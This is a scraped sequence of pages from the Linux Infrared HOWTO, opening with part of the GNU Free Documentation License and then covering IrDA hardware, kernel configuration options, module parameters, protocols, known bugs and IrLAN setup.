A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

E.3.3. 2. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

E.3.4. 3. COPYING IN QUANTITY

If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

E.3.5. 4. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).

C. State on the Title page the name of the publisher of the Modified Version, as the publisher.

D. Preserve all the copyright notices of the Document.

E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

H. Include an unaltered copy of this License.

I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.

N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.

E.3.6. 5. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."

E.3.7. 6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

E.3.8. 7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.

If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.

E.3.9. 8. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.

E.3.10. 9. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

E.3.11. 10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

Prev | Home
Copyrights | Up


Hardware Surveys

Linux Infrared HOWTO
Prev Chapter 4. Hardware Supported by Linux/IrDA Next

4.2. Hardware Surveys

There are some surveys about Linux and infrared capable devices in the WWW:

  • The Linux/IrDA Project - Hardware Survey http://irda.sourceforge.net

  • Takahide Higuchi at http://www.pluto.dti.ne.jp/~thiguchi/ir/product.html .This page is in Japanese.

  • I have also set up a IrDA hardware survey at MobiliX . This list also contains information about infrared capable devices which are not mentioned here (mice, printers, remote control, transceivers, etc.). To make this hardware survey more valuable it is necessary to collect more information about the infrared devices in different hardware. You can help by sending me a short e-mail containing the exact name of the hardware you have and which type of infrared controller is used. Please let me also know how well Linux/IrDA worked, at which tty, port and interrupt it works and the corresponding infrared device (e.g. printer, cellular phone) you use. You can also help by contributing detailed technological information about some infrared devices, which is necessary to develope an according driver for Linux.

Prev | Home | Next
Obtaining Information about the Infrared Port in Laptops | Up | Big Endian


How to Make Infrared Light Visible

Linux Infrared HOWTO
Prev Chapter 5. Advanced Topics Next

5.3. How to Make Infrared Light Visible

What you don't see gets you.
Unknown AuthorEss

If you have a IrDA aware printer, you can point you phone at it and you should see a light near the IR port light up or flash. If you have a Palm organizer w/ IR, point it at the phone. If the IR on the phone is in discovery mode, you should see the "Waiting for Sender" dialog box pop up on the Palm.

There is a program for the Palm called "IRMonitor" which measures IR emissions. You can get this off EuroCool or PilotZone. You run the program, point your Palm at where you think the IR beam should be coming from and if there are any emissions from that port, they will show up as a spike on the IrMonitor scrolling graph. I would highly recommend this program to anybody out there who plays with or works with IR devices.

You may also use a video camera to detect infrared light. But I couldn't check this yet.

Most of this section is taken from a posting to the Linux/IrDA list by "The Armadillo with the Mask".

Prev | Home | Next
Mailing List | Up | Power Saving


Linux/IrDA and APM

Linux Infrared HOWTO
Prev Chapter 5. Advanced Topics Next

5.7. Linux/IrDA and APM

Fons Botman wrote: "When I hibernate my HP OmniBook 2000CT, (Fn-12 diskimage is written to disk, machine turns off completely) with irtty active and turn it on again, irda does not work. I can see it trying to reply to discovery frames it receives from a windows box, using irdadump on the OmniBook. but the windows PC does not see the replies. If I just kill irattach and remove irtty and serial, and start irattach again, it starts working again. Does this occur with other linux laptops also? Is it a problem in the serial device driver? " Also Pedro Figueiredo reported this problem for a Fujitsu LifeBook 735DX.

Answer by Dag Brattli: "Could you all check if the same thing is happening when your're using PPP (and not using IrDA). I guess the APM stuff shuts down the serial port, so that the driver will need to reinitialize it when waking up again. This is properly implemented by some of the PCMCIA drivers I know about, but I really don't think the serial driver gets any events from the APM system.

So here you have your own little kernel project. Start adding APM support to irport which will be the easiest thing (and also to the FIR drivers), then you can start adding a patch to the serial driver (if needed). Again I think the PCMCIA subsystem may be a good source on how to fix it properly."

Prev | Home | Next
IrDA Network Neighborhood | Up | Performance Testing


IrDA Card in a Desktop Computer

Linux Infrared HOWTO
Prev Chapter 3. Specific Connections and IrDA - Protocols Next

3.20. IrDA Card in a Desktop Computer

Some recent motherboards are equipped with IrDA chips, in some cases you Need IrDA LEDs additionally. You may find a working example described by Andreas Gohr.

Prev | Home | Next
Linux/IrDA with Toshiba Notebooks | Up | Hardware Supported by Linux/IrDA


IrDA Hardware

Linux Infrared HOWTO
Prev Chapter 4. Hardware Supported by Linux/IrDA Next

4.5. IrDA Hardware

  • SIR

  • FIR

  • serial dongle

  • usb dongle

  • PCMCIA cards

  • PCI cards

You may find a survey of Linux/IrDA capable devices at MobiliX.

Prev | Home | Next
SMP | Up | IrDA and USB


Linux/IrDA on PDAs

Linux Infrared HOWTO
Prev Chapter 4. Hardware Supported by Linux/IrDA Next

4.7. Linux/IrDA on PDAs

Some Linux PDAs (iPAQ, Cassiopeia) have an IrDA port. Currently I don't have informations how to set them up (though my iPAQs IrDA port shows up in dmesg). See http://www.uclinux.org, http://www.pocketlinux.com and http://www.handhelds.org for further information.

Prev | Home | Next
IrDA and USB | Up | Advanced Topics


IrDA Protocols

Linux Infrared HOWTO
Prev Chapter 5. Advanced Topics Next

5.9. IrDA Protocols

5.9.1. IrDA Stack

Figure 5-1. IrDA Stack

IrDA Stack.

5.9.2. Existing IrDA Protocol Implementations

From Lichen Wang I have taken this remarks:

IrLAP, IrLMP, and TinyTP are pretty stable now. But various individual implementations may still have quirks.

IrCOMM is widely used, but Microsoft vowed to drop it and use IrSocket only.

IrObex, IrMC, IrTran-P, etc. are showing up in various devices. The supports on PC are segmented and sometimes very poor.

New IrDA Protocol Development AIR is pushed mainly by IBM. You get wider angle and longer distance (10M?) but may be at lower data rate. You can also time-multiplex this already slow channel. In my opinion the benefit to the user is very little. AIR hardware and software changes are costly. I think you will have to wait for a long time, if ever, to see any product using AIR.

IrBUS is pushed mainly by Sharp. It is aimed at remote control, IR keyboard, etc., not for data communication. I think if Sharp succeed, you may see IrBUS in set-top boxes, web-tv, etc. If and when these devices reaches a critical mass, some PC may incorporate IrBUS in order to control these devices.

VFIR is the latest. The benefit is higher data rate (16 Mbps). Unlike AIR and IrBUS, the software changes for VFIR are minimum. The changes are mainly in hardware.

Summary In summary, I do not think we need to wait in anticipation of new IrDA protocols. A easy to install and solid implementation of the existing IrDA protocols is the cutting edge!.

Prev | Home | Next
Performance Testing | Up | Known Bugs


IrDA and USB

Linux Infrared HOWTO
Prev Chapter 4. Hardware Supported by Linux/IrDA Next

4.6. IrDA and USB

There is a USB IrDA Bridge Device spec at Rev 0.9B , it's being adopted as a USB class specification. You can find it at under 0.9 Class Specification header.

As far as I know the Actisys 2000U and Extended System ESI-9685 dongles seem to be based on the same hardware. Both USB dongles work fine with the Linux driver. It's possible to have multiple USB dongles in a box (for now, only up to 4).

The driver is not yet in the kernel and not yet super stable. All current hardware are the same and not that great, IMHO. The driver is available in the latest IrDA patch. Startup with :
modprobe usb-uhci
modprobe irda-usb
irattach irda0 -s 1
You have been warned ;-)

Prev | Home | Next
IrDA Hardware | Up | Linux/IrDA on PDAs


Kernel

Linux Infrared HOWTO
Prev Chapter 2. Getting Started Next

2.2. Kernel

2.2.1. Preface

Please read the Kernel-HOWTO to get more information about the compilation process. Get the latest patches from http://irda.sourceforge.net or the Linux/IrDA mailing list archiv.

You'll find the Linux/IrDA code in:

/usr/src/linux/net/irda (protocol stuff)

/usr/src/linux/drivers/net/irda (device drivers)

/usr/src/linux/include/net/irda (header files)

General Parameters Make sure you use kernel 2.4.x sources. If unsure about your kernel version try uname -r.

Get the latest kernel patch from the Linux/IrDA project . Or from the Alan Cox kernel series . Put it into /usr/src or where else your kernel sources live and apply something like (replace patch-2_2.0-irdaXXX with the actual file name):
cd /usr/src
tar xvzf patch-2_2.0-irdaXXX.tar.gz
cd linux
patch -p1 -l < ../patch-2_2.0-irdaXXX
For latest drivers maybe experimental support has to be enabled CONFIG_EXPERIMENTAL.

Enable sysctl in "General Setup" CONFIG_SYSCTL.

You should have proc file system support CONFIG_PROC_FS.

Also serial support for the SIR features CONFIG_SERIAL.

I am not sure whether there has to be printer support for using a printer with Linux/IrDA CONFIG_PRINTER. But I assume this feature is not necessary.

Networking support _must_ be enabled CONFIG_NET.

Make sure you have module support CONFIG_MODULES in your kernel! Test it e.g. with lsmod.

Also kerneld support CONFIG_KERNELD. But kmod (CONFIG_KMOD) also works. A monolithic kernel seems to work, too. But modules are highly recommended!

To use irdadump you probably have to set CONFIG_PACKET.

If you only apply the Linux/IrDA patch, you should not have to do a make clean, so that should save you some time. I suggest you do something like this:

make dep && make all && make modules && make install && make modules_install If you get really strange errors, then try to rebuild from scratch after a make clean.

2.2.2. IrDA Specific Parameters

The following is from ../linux-2.4.3/Documentation/Configure.help Please consult the latest available kernel documentation for current information and new drivers.

2.2.2.1. IrDA subsystem support

CONFIG_IRDA Say Y here if you want to build support for the IrDA (TM) protocols. The Infrared Data Associations (tm) specifies standards for wireless infrared communication and is supported by most laptops and PDA's.

To use Linux support for the IrDA (tm) protocols, you will also need some user-space utilities like the irmanager and probably irattach as well. For more information, see the file Documentation/networking/irda.txt. You also want to read the IR-HOWTO, available at http://www.linuxdoc.org/docs.html#howto .

This support is also available as a module called irda.o. If you want to compile it as a module, say M here and read Documentation/modules.txt.

IrDA Cache last LSAP

CONFIG_IRDA_CACHE_LAST_LSAP Say Y here if you want IrLMP to cache the last LSAP used. This makes sense since most frames will be sent/received on the same connection. Enabling this option will save a hash-lookup per frame.

If unsure, say Y.

IrDA Fast RR's

CONFIG_IRDA_FAST_RR Say Y here is you want IrLAP to send fast RR (Receive Ready) frames when acting as a primary station. This will make IrLAP send out a RR frame immediately when receiving a frame if its own transmit queue is currently empty. This will give a lot of speed improvement when receiving much data since the secondary station will not have to wait the max. turn around time before it is allowed to transmit the next time. If the transmit queue of the secondary is also empty the primary will back off waiting longer for sending out the RR frame until the timeout reaches the normal value. Enabling this option will make the IR-diode burn more power and thus reduce your battery life.

If unsure, say N.

IrDA Debug

CONFIG_IRDA_DEBUG Say Y here if you want the IrDA subsystem to write debug information to your syslog. You can change the debug level in /proc/sys/net/irda/debug

If unsure, say Y (since it makes it easier to find the bugs).

IrLAP Compression support

CONFIG_IRDA_COMPRESSION Compression is _not_ part of the IrDA(tm) protocol specification, but it's working great! Linux is the first to try out compression support at the IrLAP layer. This means that you will only benefit from compression if you are running a Linux <-> Linux configuration.

If you say Y here, you also need to say Y or M to a compression protocol below.

IrLAP Deflate Compression Protocol (EXPERIMENTAL)

CONFIG_IRDA_DEFLATE Say Y here if you want to build support for the Deflate compression protocol. The deflate compression (GZIP) is exactly the same as the one used by the PPP protocol.

If you want to compile this compression support as a module, say M here and read Documentation/modules.txt. The module will be called irda_deflate.o.

IrLAN Protocol

CONFIG_IRLAN Say Y here if you want to build support for the IrLAN protocol. If you want to compile it as a module (irlan.o), say M here and read Documentation/modules.txt. IrLAN emulates an Ethernet and makes it possible to put up a wireless LAN using infrared beams.

The IrLAN protocol can be used to talk with infrared access points like the HP NetbeamIR, or the ESI JetEye NET. You can also connect to another Linux machine running the IrLAN protocol for ad-hoc networking!

IrCOMM Protocol

CONFIG_IRCOMM Say Y here if you want to build support for the IrCOMM protocol. If you want to compile it as a module (you will get ircomm.o and ircomm-tty.o), say M here and read Documentation/modules.txt. IrCOMM implements serial port emulation, and makes it possible to use all existing applications that understands TTY's with an infrared link. Thus you should be able to use application like PPP, minicom and others. Enabling this option will create two modules called ircomm and ircomm-tty.

2.2.2.2. Device Drivers

IrTTY IrDA Device Driver

CONFIG_IRTTY_SIR Say Y here if you want to build support for the IrTTY line discipline. If you want to compile it as a module (irtty.o), say M here and read Documentation/modules.txt. IrTTY makes it possible to use Linux's own serial driver for all IrDA ports that are 16550 compatible. Most IrDA chips are 16550 compatible so you should probably say Y to this option. Using IrTTY will however limit the speed of the connection to 115200 bps (IrDA SIR mode)

If unsure, say Y.

IrPORT IrDA Device Driver

CONFIG_IRPORT_SIR Say Y here if you want to build support for the IrPORT IrDA device driver. If you want to compile it as a module (irport.o), say M here and read Documentation/modules.txt. IrPORT can be used instead of IrTTY and sometimes this can be better. One example is if your IrDA port does not have echo-canceling, which will work OK with IrPORT since this driver is working in half-duplex mode only. You don't need to use irattach with IrPORT, but you just insert it the same way as FIR drivers (insmod irport io=0x3e8 irq=11). Notice that IrPORT is a SIR device driver which means that speed is limited to 115200 bps.

If unsure, say Y.

Winbond W83977AF IrDA Device Driver

CONFIG_WINBOND_FIR Say Y here if you want to build IrDA support for the Winbond W83977AF super-io chipset. This driver should be used for the IrDA chipset in the Corel NetWinder. The driver supports SIR, MIR and FIR (4Mbps) speeds.

If you want to compile it as a module, say M here and read Documentation/modules.txt. The module will be called w83977af_ir.o.

NSC PC87108 IrDA Device Driver

CONFIG_NSC_FIR Say Y here if you want to build support for the NSC PC87108 and PC87338 IrDA chipsets. This driver supports SIR, MIR and FIR (4Mbps) speeds.

If you want to compile it as a module, say M here and read Documentation/modules.txt. The module will be called nsc-ircc.o.

Toshiba Type-O IR Port Device Driver

CONFIG_TOSHIBA_FIR Say Y here if you want to build support for the Toshiba Type-O IR chipset. This chipset is used by the Toshiba Libretto 100CT, and many more laptops. If you want to compile it as a module, say M here and read Documentation/modules.txt. The module will be called toshoboe.o.

SMC IrCC (Experimental)

CONFIG_SMC_IRCC_FIR Say Y here if you want to build support for the SMC Infrared Communications Controller. It is used in the Fujitsu Lifebook 635t and Sony PCG-505TX. If you want to compile it as a module, say M here and read Documentation/modules.txt. The module will be called smc-ircc.o.

ALi M5123 FIR Controller Driver (Experimental)

CONFIG_ALI_FIR Say Y here if you want to build support for the ALi M5123 FIR Controller. The ALi M5123 FIR Controller is embedded in ALi M1543C, M1535, M1535D, M1535+, M1535D Sourth Bridge. This driver supports SIR, MIR and FIR (4Mbps) speeds.

If you want to compile it as a module, say M here and read Documentation/modules.txt. The module will be called ali-ircc.o.

Serial dongle support

CONFIG_DONGLE Say Y here if you have an infrared device that connects to your computer's serial port. These devices are called dongles. Then say Y or M to the driver for your particular dongle below.

Note that the answer to this question won't directly affect the kernel: saying N will just cause this configure script to skip all

ESI JetEye PC Dongle

CONFIG_ESI_DONGLE Say Y here if you want to build support for the Extended Systems JetEye PC dongle. If you want to compile it as a module, say M here and read Documentation/modules.txt. The ESI dongle attaches to the normal 9-pin serial port connector, and can currently only be used by IrTTY. To activate support for ESI dongles you will have to start irattach like this: irattach -d esi.

ACTiSYS IR-220L and IR220L+ dongle

CONFIG_ACTISYS_DONGLE Say Y here if you want to build support for the ACTiSYS IR-220L and IR220L+ dongles. If you want to compile it as a module, say M here and read Documentation/modules.txt. The ACTiSYS dongles attaches to the normal 9-pin serial port connector, and can currently only be used by IrTTY. To activate support for ACTiSYS dongles you will have to start irattach like this: irattach -d actisys or irattach -d actisys+.

Tekram IrMate 210B dongle

CONFIG_TEKRAM_DONGLE Say Y here if you want to build support for the Tekram IrMate 210B dongle. If you want to compile it as a module, say M here and read Documentation/modules.txt. The Tekram dongle attaches to the normal 9-pin serial port connector, and can currently only be used by IrTTY. To activate support for Tekram dongles you will have to start irattach like this: irattach -d tekram.

Greenwich GIrBIL dongle

CONFIG_GIRBIL_DONGLE Say Y here if you want to build support for the Greenwich GIrBIL dongle. If you want to compile it as a module, say M here and read Documentation/modules.txt. The Greenwich dongle attaches to the normal 9-pin serial port connector, and can currently only be used by IrTTY. To activate support for Greenwich dongles you will have to insert irattach -d girbil in the /etc/irda/drivers script.

Parallax Litelink dongle

CONFIG_LITELINK_DONGLE Say Y here if you want to build support for the Parallax Litelink dongle. If you want to compile it as a module, say M here and read Documentation/modules.txt. The Parallax dongle attaches to the normal 9-pin serial port connector, and can currently only be used by IrTTY. To activate support for Parallax dongles you will have to start irattach like this irattach -d litelink.

Old Belkin dongle

CONFIG_OLD_BELKIN_DONGLE Say Y here if you want to build support for the Adaptec Airport 1000 and 2000 dongles. If you want to compile it as a module, say M here and read Documentation/modules.txt. The module will be called old_belkin.o. Some information is contained in the comments at the top of drivers/net/irda/old_belkin.c.

2.2.3. Current Kernel Patches

Note: donauboe is a new version of toshoboe better FIR support and compatibility with Donauoboe chip http://libxg.free.fr/lib-irda.html

For USB dongle patch see Linux/IrDA mailing list archiv.

Prev | Home | Next
Software | Up | Kernel Module Options


Kernel Module Options

Linux Infrared HOWTO
Prev Chapter 2. Getting Started Next

2.3. Kernel Module Options

This survey of module options was generated with the modinfo command.

actisys.o
Dag Brattli <dagb@cs.uit.no> - Jean Tourrilhes <jt@hpl.hp.com>
ACTiSYS IR-220L and IR-220L+ dongle driver

ali-ircc.o
Benjamin Kong <benjamin_kong@ali.com.tw>
ALi FIR Controller Driver
io int array (min = 1, max = 4), description "Base I/O addresses"
irq int array (min = 1, max = 4), description "IRQ lines"
dma int array (min = 1, max = 4), description "DMA channels"

esi.o
Dag Brattli <dagb@cs.uit.no>
Extended Systems JetEye PC dongle driver

girbil.o
Dag Brattli <dagb@cs.uit.no>
Greenwich GIrBIL dongle driver

irport.o
Dag Brattli <dagb@cs.uit.no>
Half duplex serial driver for IrDA SIR mode
io int array (min = 1, max = 4), description "Base I/O adresses"
irq int array (min = 1, max = 4), description "IRQ lines"

irtty.o
Dag Brattli <dagb@cs.uit.no>
IrDA TTY device driver
qos_mtt_bits int, description "Minimum Turn Time"

litelink.o
Dag Brattli <dagb@cs.uit.no>
Parallax Litelink dongle driver

nsc-ircc.o
Dag Brattli <dagb@cs.uit.no>
NSC IrDA Device Driver
qos_mtt_bits int, description "Minimum Turn Time"
io int array (min = 1, max = 4), description "Base I/O addresses"
irq int array (min = 1, max = 4), description "IRQ lines"
dma int array (min = 1, max = 4), description "DMA channels"
dongle_id int, description "Type-id of used dongle"

old_belkin.o
Jean Tourrilhes <jt@hpl.hp.com>
Belkin (old) SmartBeam dongle driver

smc-ircc.o
Thomas Davis <tadavis@jps.net>
SMC IrCC controller driver
ircc_dma int, description "DMA channel"
ircc_irq int, description "IRQ line"

tekram.o
Dag Brattli <dagb@cs.uit.no>
Tekram IrMate IR-210B dongle driver

toshoboe.o
James McKenzie <james@fishsoup.dhs.org>
Toshiba OBOE IrDA Device Driver
max_baud int

w83977af_ir.o
Dag Brattli <dagb@cs.uit.no>
Winbond W83977AF IrDA Device Driver
qos_mtt_bits int, description "Mimimum Turn Time"
io int array (min = 1, max = 4), description "Base I/O addresses"
irq int array (min = 1, max = 4), description "IRQ lines"

irda.o
Dag Brattli <dagb@cs.uit.no>
The Linux IrDA Protocol Subsystem
irda_debug_R07c03e02 long

irlan.o
Dag Brattli <dagb@cs.uit.no>
The Linux IrDA LAN protocol
eth int, description "Name devices ethX (0) or irlanX (1)"
access int, description "Access type DIRECT=1, PEER=2, HOSTED=3"

ircomm-tty.o
Dag Brattli <dagb@cs.uit.no>
IrCOMM serial TTY driver

ircomm.o
Dag Brattli <dag@brattli.net>
IrCOMM protocol

irnet.o
<none>
<none>

Prev | Home | Next
Kernel | Up | Configuration


Connection to Keyboard

Linux Infrared HOWTO
Prev Chapter 3. Specific Connections and IrDA - Protocols Next

3.15. Connection to Keyboard

The Linux/IrDA keyboard driver is now in user-space. Please see chapter Connection to Docking Station above.

Lichen Wang: "The so called IrDA-D standard is designed to transfer Data. It is not suitable for IR Keyboard. IrDA-D is what Dag ported to Linux OS and what MS ported to Windows OS.

The so called IrDA-C (Control) is designed for Keyboard, Joy-stick, etc. I am not aware that there is any product in the market that is using it yet.

IrDA-D cannot talk to IrDA-C. IrDA-C cannot talk to IrDA-D either. Both the physical encoding/decoding and the software protocol are very different.

It is possible to implement both IrDA-D and IrDA-C in the same device. Sharp says that IrDA-D and IrDA-C can coexist -- as long as both of them are not used at the same time in the same IR space. This sounds rather funny to me. According to this definition, anything can co-exist with anything as long as you do not destroy the universe permanently in the process ;-)

Seriously, what SHARP says is that they can tailor the IrDA-D so that there are some unused time between the negotiated maximum turnaround time and the actual transmission. They then squeeze the IrDA-C frames in those unused time. The IrDA-D Primary and IrDA-C Master must be implemented in the same device. The keyboards will work, but mice and joysticks may be sluggish at times."

Prev | Home | Next
Connection to Docking Station | Up | Connection via Serial Cable


Known Bugs

Linux Infrared HOWTO
Prev Chapter 5. Advanced Topics Next

5.10. Known Bugs

If you find a bug, please send a bug report to the mailing list, including dmesg output, and which Linux version, and hardware you are using. Thank you!

Sometimes IrCOMM fails to connect (especially when both devices discover each other. You can disable discovering with echo 0 >/proc/sys/net/irda/discovery)

A CR (carriage return) character cannot be transfered between two linux boxes via IrCOMM with cat file >/dev/ircomm0 and cat /dev/ircomm0. It causes a strange thing and freezes your Linux box. Compiling the pc87108 device driver non modular crashes the kernel on boot. Temporary solution: compile the driver as a module

IrOBEX may eat some data on receive. The bug is most probably in the user-space side of IrOBEX.

Prev | Home | Next
IrDA Protocols | Up | FAQ


LAN Connection - IrLAN

Linux Infrared HOWTO
Prev Chapter 3. Specific Connections and IrDA - Protocols Next

3.3. LAN Connection - IrLAN

  • You might connect your Linux box using IrLAN to another network device such as a Linux box with IrLAN, a HP NetBeamer or a Window$95 box with Infrared Network Device support.

  • Dag Brattli wrote: "If you want to use IrLAN you must modprobe irlan_client before ifup eth0. I had to remove the request_module() stuff since that needed a process context which I don't have in the kernel. " Maybe you have to choose the access mode. You can do this by using modprobe irlan access=1 for direct mode. IrLAN states that a provider can either be in direct mode, or in peer mode, so you currently have to choose when you start IrLAN.

  • Run ifconfig eth0 up <ip_address> netmask <ip_netmask> to configure it with IP-address and other parameters. If the protocol is still running you may start communicating. It is possible to use RedHat's netcfg to do this, since it makes it very easy. Next time you only need to do /sbin/ifup eth0. Notice that ifconfig does not know how to deal with IrLAP addresses, so the address is really just the 4 first bytes (in little endian format).

  • Test the network device by pinging to it. For detailed information about further setup see the NET3-HOWTO.

  • Do not forget to add a route, e.g. route add default gw <ip_gateway> or route add -host <target host> dev eth0.

  • Ping to another IP now, to test the connection.

  • For testing reasons I recommend only to use one laptop and one IR ethernet device in the same room. If there are problems look which different modes for the IR ethernet device are possible. Try them.

Prev | Home | Next
Printer Connection - IrLPT, IrTTP, IrCOMM? | Up | HP NetBeamer Connection


Linux to Linux Connection

Linux Infrared HOWTO
Prev Chapter 3. Specific Connections and IrDA - Protocols Next

3.12. Linux to Linux Connection

3.12.1. Connection Methods

There should be four ways to get two Linux machines connected via Linux/IrDA.

